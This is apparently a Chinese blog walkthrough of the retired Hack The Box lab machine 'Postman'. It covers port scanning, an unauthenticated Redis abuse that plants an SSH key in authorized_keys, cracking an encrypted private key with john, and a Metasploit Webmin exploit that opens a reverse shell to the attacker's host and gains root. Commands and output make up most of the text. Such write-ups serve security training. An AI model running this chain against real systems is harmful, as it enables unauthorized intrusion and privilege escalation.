HTB-靶机-Postman

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.147

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.160 -o ./Postman-autorecon

masscan -p1-65535 10.10.10.160 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.160
或者
nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160

确认开放了22,80,6379,10000端口,看到6379端口开放了,想都不想试试看能不能未授权访问并利用,结果测试还真的可以利用,具体如下:

redis未授权访问

获取历史配置的命令
config get *

获取当前redis当前所在的目录
config get dir

配置更改redis目录
config set dir /var/lib/redis/.ssh

把kali自己的公钥配置到一个文本文件里面
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > cntf.txt

直接将公钥写入到刚才配置好的redis下面的.ssh目录
cat cntf.txt | redis-cli -h 10.10.10.160 -x set ssh_key

现在公钥是被保存在"/var/lib/redis/.ssh"下面
执行get ssh_key 获取刚才写入的公钥

将写好的公钥保存到redis目录下的.ssh目录,并且更改名称为authorized_keys
config set dbfilename authorized_keys

执行保存命令
save

退出redis
exit

上去之后收集一下信息,使用linpeas.sh,下面是下载链接

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

收集完成查看发现opt目录下有个私钥的备份文件,使用file和cat命令查看发现是加密的私钥文件,将其拷贝到本地kali然后使用ssh2john将其转换为john能识别的hash进行密码离线爆破,具体如下:

先通过ssh2john将此私钥转换为john能识别的hash再进行破解
/usr/share/john/ssh2john.py id_rsa.bak > hash.txt
开始破解
john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
得到密码
computer2008     (id_rsa.bak)

拿到上面的私钥密码之后就开始尝试登录目标用户,至于用户名就cat /etc/passwd看下,看有没有其他普通用户一个个试,就知道了,这里通过ssh远程登录发现怎么也成功不了,然后使用su切换登录使用上面破解得到的密码成功登录了

到了此步,刚开始还是继续再搜集到的信息中进行挖掘,看是否能够提权,但是并为成功,回头看看开放的端口,看到扫描信息版本有webmin,便在此权限查看了版本信息

网上搜索了一把,擦,有exploit,地址:https://github.com/KyleV98/Webmin-1.910-Exploit

我这里使用burpsute测试发现没有成功,可能是我机器环境的原因,我就偷个懒使用metasploit进行提权操作

msf5 > search webmin_packageup_rce

Matching Modules
================

   #  Name                                     Disclosure Date  Rank       Check  Description
   -  ----                                     ---------------  ----       -----  -----------
   0  exploit/linux/http/webmin_packageup_rce  2019-05-16       excellent  Yes    Webmin Package Updates Remote                                                                              Command Execution


msf5 > use 0
[*] Using configured payload cmd/unix/reverse_perl
msf5 exploit(linux/http/webmin_packageup_rce) >
msf5 exploit(linux/http/webmin_packageup_rce) >
msf5 exploit(linux/http/webmin_packageup_rce) >
msf5 exploit(linux/http/webmin_packageup_rce) >
msf5 exploit(linux/http/webmin_packageup_rce) > show options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax '                                                                             file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
rhosts => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008
password => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.2:4444
[+] Session cookie: 1036cae535b9540c88372aa483f48a97
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.160:42598) at 2021-04-26 16:09:53 +0800
id

uid=0(root) gid=0(root) groups=0(root)

 

成功拿到root权限

posted @ 2021-04-26 16:26  皇帽讲绿帽带法技巧  阅读(186)  评论(0编辑  收藏  举报